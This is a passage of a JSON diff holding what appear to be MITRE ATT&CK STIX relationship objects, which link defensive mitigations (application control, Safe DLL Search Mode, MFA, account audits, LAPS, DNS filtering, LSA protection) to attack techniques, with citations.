interception by using application control tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate.(Citation: SANS Application Whitelisting)(Citation: Microsoft Windows Defender Application Control)(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker)(Citation: Microsoft Application Lockdown)(Citation: Microsoft Using Software Restriction )", + "target_ref": "attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2", + "modified": "2021-08-23T20:25:22.578Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-13T17:48:59.197Z", + "external_references": [ + { + "url": "https://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J.. 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Retrieved December 5, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/ms682425" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-security?redirectedfrom=MSDN", + "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved July 25, 2016.", + "source_name": "Microsoft Dynamic-Link Library Security" + }, + { + "url": "https://skanthak.homepage.t-online.de/sentinel.html", + "description": "Kanthak, S.. (2016, July 20). Vulnerability and Exploit Detector. Retrieved February 3, 2017.", + "source_name": "Vulnerability and Exploit Detector" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d0e5d834-338b-4c5f-968a-f9f477bc7b9f", + "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "modified": "2020-03-13T17:48:59.225Z", + "source_ref": "attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-03-13T17:48:59.225Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--92764952-45ad-4cfc-a426-c6baefc9974c", + "description": "Disallow loading of remote DLLs. This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+.\n\nEnable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. %SYSTEMROOT%)to be used before local directory DLLs (e.g. a user's home directory)\n\nThe Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\SafeDLLSearchMode(Citation: Microsoft More information about DLL)(Citation: Microsoft Dynamic Link Library Search Order)", + "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", + "modified": "2021-04-26T18:37:04.132Z", + "source_ref": "course-of-action--e8242a33-481c-4891-af63-4cf3e4cf6aff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-13T18:11:08.483Z", + "external_references": [ + { + "url": "https://msrc-blog.microsoft.com/2010/08/23/more-information-about-the-dll-preloading-remote-attack-vector/", + "description": "Microsoft. (2010, August 12). More information about the DLL Preloading remote attack vector. Retrieved December 5, 2014.", + "source_name": "Microsoft More information about DLL" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN", + "description": "Microsoft. (2018, May 31). Dynamic-Link Library Search Order. Retrieved November 30, 2014.", + "source_name": "Microsoft Dynamic Link Library Search Order" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--22ce2c93-ecd6-4627-b3f0-6f7476754c79", + "description": "Adversaries may use new DLLs to execute this technique. Identify and block potentially malicious software executed through search order hijacking by using application control solutions capable of blocking DLLs loaded by legitimate software.", + "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", + "modified": "2021-04-26T18:37:04.089Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-13T18:11:08.487Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b673ba9b-3eb4-42fd-976d-62fc8d121cc3", + "description": "Use auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses.(Citation: Powersploit)\n\nUse the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-by-side problems in software.(Citation: Microsoft Sxstrace)", + "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", + "modified": "2021-04-26T18:37:04.216Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-13T18:11:08.510Z", + "external_references": [ + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + }, + { + "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/sxstrace", + "description": "Gerend, J. et al.. (2017, October 16). sxstrace. Retrieved April 26, 2021.", + "source_name": "Microsoft Sxstrace" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ccdff6e8-75ea-4386-ab0f-435ac35ccc61", + "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "modified": "2020-03-13T18:11:08.520Z", + "source_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-03-13T18:11:08.520Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1c47aa23-d267-49f3-9faf-c45b6de0ad6e", + "description": "Update software regularly to include patches that fix DLL side-loading vulnerabilities.", + "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", + "modified": "2021-04-26T18:31:35.168Z", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-13T19:41:37.989Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--81dade3f-217d-41b8-8f70-b8695fc1d3f7", + "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "modified": "2020-03-13T19:41:38.021Z", + "source_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-03-13T19:41:38.021Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--13363d50-e3cc-4e6c-906a-47df844b8694", + "description": "Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located at HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: Enumerate administrator accounts on elevation.(Citation: UCF STIG Elevation Account Enumeration)", + "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", + "modified": "2021-07-28T18:05:24.937Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-13T19:51:59.062Z", + "external_references": [ + { + "source_name": "UCF STIG Elevation Account Enumeration", + "description": "UCF. (n.d.). The system must require username and password to elevate a running application.. Retrieved December 18, 2017.", + "url": "https://www.stigviewer.com/stig/microsoft_windows_server_2012_member_server/2013-07-25/finding/WN12-CC-000077" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9ef08a26-d881-4a36-952b-c07808093c6b", + "description": "Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located at HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: Enumerate administrator accounts on elevation.(Citation: UCF STIG Elevation Account Enumeration)", + "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", + "modified": "2021-10-13T14:05:14.879Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-13T19:55:35.970Z", + "external_references": [ + { + "source_name": "UCF STIG Elevation Account Enumeration", + "description": "UCF. (n.d.). The system must require username and password to elevate a running application.. Retrieved December 18, 2017.", + "url": "https://www.stigviewer.com/stig/microsoft_windows_server_2012_member_server/2013-07-25/finding/WN12-CC-000077" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c5589abe-78a2-4d41-8926-33aa3fc3337b", + "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "modified": "2020-03-13T20:10:00.218Z", + "source_ref": "attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-03-13T20:10:00.218Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--33d1d2c7-fe6e-43c0-a78a-40ec218d0895", + "target_ref": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8", + "modified": "2020-03-13T20:12:41.082Z", + "source_ref": "attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-03-13T20:12:41.082Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cb3b9d54-ba89-4af4-8724-3ffde36d101c", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "modified": "2020-03-13T20:15:32.053Z", + "source_ref": "attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-03-13T20:15:32.053Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a45378ad-7f38-47d3-87e1-a3133b29b89b", + "description": "If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the /Library/Preferences/com.apple.loginwindow Hide500Users value will force all users to be visible.", + "target_ref": "attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d", + "modified": "2021-10-14T20:22:03.839Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-13T20:20:53.831Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--45912a00-141c-45ec-afb6-2ac272764c14", + "description": "Integrating multi-factor authentication (MFA) as part of organizational policy can greatly reduce the risk of an adversary gaining control of valid credentials that may be used for additional tactics such as initial access, lateral movement, and collecting information. MFA can also be used to restrict access to cloud resources and APIs.", + "target_ref": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", + "modified": "2021-10-19T03:29:47.899Z", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-13T20:21:54.880Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4cdd118b-5ad8-4607-94b2-be828038b5ff", + "description": "Audit domain account permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. Limit credential overlap across systems to prevent access if account credentials are obtained.", + "target_ref": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", + "modified": "2021-10-19T03:29:47.916Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-13T20:21:54.889Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9af1f7b6-d914-4916-9fee-e8ca0e9c8109", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "modified": "2020-03-13T20:21:54.906Z", + "source_ref": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-03-13T20:21:54.906Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7d770dbe-1baa-4411-bd37-b703c6f86585", + "description": "Ensure that local administrator accounts have complex, unique passwords across all systems on the network.", + "target_ref": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2", + "modified": "2021-10-18T17:45:48.476Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-13T20:26:46.774Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4f8dca9b-86d0-4d97-98ed-c98240cc3933", + "description": "Audit local accounts permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should check if new local accounts are created that have not be authorized. Implementing LAPS may help prevent reuse of local administrator credentials across a domain.(Citation: Microsoft Remote Use of Local)", + "target_ref": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2", + "modified": "2021-10-18T17:45:48.492Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-13T20:26:46.786Z", + "external_references": [ + { + "source_name": "TechNet Credential Theft", + "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx" + }, + { + "source_name": "TechNet Least Privilege", + "description": "Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn487450.aspx" + }, + { + "url": "https://blogs.technet.microsoft.com/secguide/2018/12/10/remote-use-of-local-accounts-laps-changes-everything/", + "description": "Margosis, A.. (2018, December 10). Remote Use of Local Accounts: LAPS Changes Everything. Retrieved March 13, 2020.", + "source_name": "Microsoft Remote Use of Local" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a1a39cf1-dd69-4110-beac-77bf7acd0c62", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "modified": "2020-03-13T20:26:46.789Z", + "source_ref": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-03-13T20:26:46.789Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--26d64c06-c277-473d-94e8-e9990b6adc8e", + "target_ref": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8", + "modified": "2020-03-13T20:26:49.676Z", + "source_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-03-13T20:26:49.676Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1279ae2b-fb00-4980-a5cc-9a802ad2901d", + "description": "Limit or restrict program execution using anti-virus software. On MacOS, allowlist programs that are allowed to have the plist tag. All other programs should be considered suspicious.", + "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", + "modified": "2020-06-20T20:11:42.900Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-13T20:26:49.687Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--67edd4b3-09f8-47c7-aaf1-6440524c78d4", + "description": "Consider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded. (Citation: InsiderThreat NTFS EA Oct 2017)", + "target_ref": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5", + "modified": "2020-03-29T22:46:56.542Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-13T20:33:00.313Z", + "external_references": [ + { + "source_name": "InsiderThreat NTFS EA Oct 2017", + "description": "Sander, J. (2017, October 12). Attack Step 3: Persistence with NTFS Extended Attributes \u2013 File System Attacks. Retrieved March 21, 2018.", + "url": "https://blog.stealthbits.com/attack-step-3-persistence-ntfs-extended-attributes-file-system-attacks" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--dd434e57-9813-4e3f-ac86-f9ddc6313704", + "target_ref": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8", + "modified": "2020-03-13T20:33:00.338Z", + "source_ref": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-03-13T20:33:00.338Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--124e7a8b-5bc6-499d-8ca5-4c25b3ed8602", + "description": "Ensure that cloud accounts, particularly privileged accounts, have complex, unique passwords across all systems on the network. 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(2004, February 6). Perimeter Firewall Design. Retrieved April 25, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc700828.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4ff00908-ef82-45dc-bb71-bf1cea80063e", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. 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(2004, February 6). Perimeter Firewall Design. Retrieved April 25, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc700828.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1a493d52-b97f-4cf3-a85b-1e9aaa66a410", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. 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", + "target_ref": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", + "modified": "2020-10-21T16:35:45.749Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-15T16:21:45.233Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b849b1ae-0b73-484c-9061-38ddf3cbdbb3", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "modified": "2020-03-15T16:21:45.240Z", + "source_ref": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-03-15T16:21:45.240Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c9f53392-065d-4573-a08a-37bc3d24d3e5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. ", + "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", + "modified": "2020-10-21T16:26:35.297Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-15T16:27:38.218Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--444dc2e9-3f54-4ab9-b004-363ae1221373", + "description": "Consider filtering DNS requests to unknown, untrusted, or known bad domains and resources. Resolving DNS requests with on-premise/proxy servers may also disrupt adversary attempts to conceal data within DNS packets. ", + "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", + "modified": "2020-10-21T16:26:35.294Z", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-15T16:27:38.221Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4ebeacbf-4f30-4f32-86dc-54d932ea7c46", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "modified": "2020-03-15T16:27:38.223Z", + "source_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-03-15T16:27:38.223Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--670f37e1-8de3-441e-bc09-ff95c09ee14d", + "target_ref": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", + "modified": "2020-03-16T14:12:48.061Z", + "source_ref": "attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-03-16T14:12:48.061Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ef18d02f-bc68-48d8-8076-10e171fde390", + "description": "Enabled features, such as Protected Process Light (PPL), for LSA.(Citation: Microsoft LSA)", + "target_ref": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84", + "modified": "2021-04-26T20:08:32.001Z", + "source_ref": "course-of-action--72dade3e-1cba-4182-b3b3-a77ca52f02a1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-16T14:49:02.682Z", + "external_references": [ + { + "source_name": "Microsoft LSA", + "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved February 13, 2015.", + "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--dafa1584-bdd9-4c46-be07-2d002a529948", + "description": "Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)\n\nLimit access to the root account and prevent users from modifying protected components through proper privilege separation (ex SELinux, grsecurity, AppArmor, etc.) and limiting Privilege Escalation opportunities.", + "target_ref": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84", + "modified": "2021-04-26T20:08:32.093Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-16T14:49:02.706Z", + "external_references": [ + { + "source_name": "TechNet Credential Theft", + "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx" + }, + { + "source_name": "TechNet Least Privilege", + "description": "Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn487450.aspx" + }, + { + "source_name": "Microsoft Securing Privileged Access", + "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.", + "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2686dfb7-60ab-424c-add2-2f164a98cfa4", + "description": "Integrating multi-factor authentication (MFA) as part of organizational policy can greatly reduce the risk of an adversary gaining control of valid credentials that may be used for additional tactics such as initial access, lateral movement, and collecting information. MFA can also be used to restrict access to cloud resources and APIs. ", + "target_ref": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84", + "modified": "2021-04-26T20:08:32.175Z", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-16T14:49:02.709Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fc8ef14d-1a07-4f96-85c3-b62ba6bcffc1", + "description": "Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (C:\\Windows\\System32\\ by default) of a domain controller and/or local computer with a corresponding entry in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages. 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", + "target_ref": "attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605", + "modified": "2021-04-20T20:10:26.699Z", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-16T14:56:19.332Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7fc1c3bb-05f7-4593-b8c3-f9833c114672", + "description": "Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least 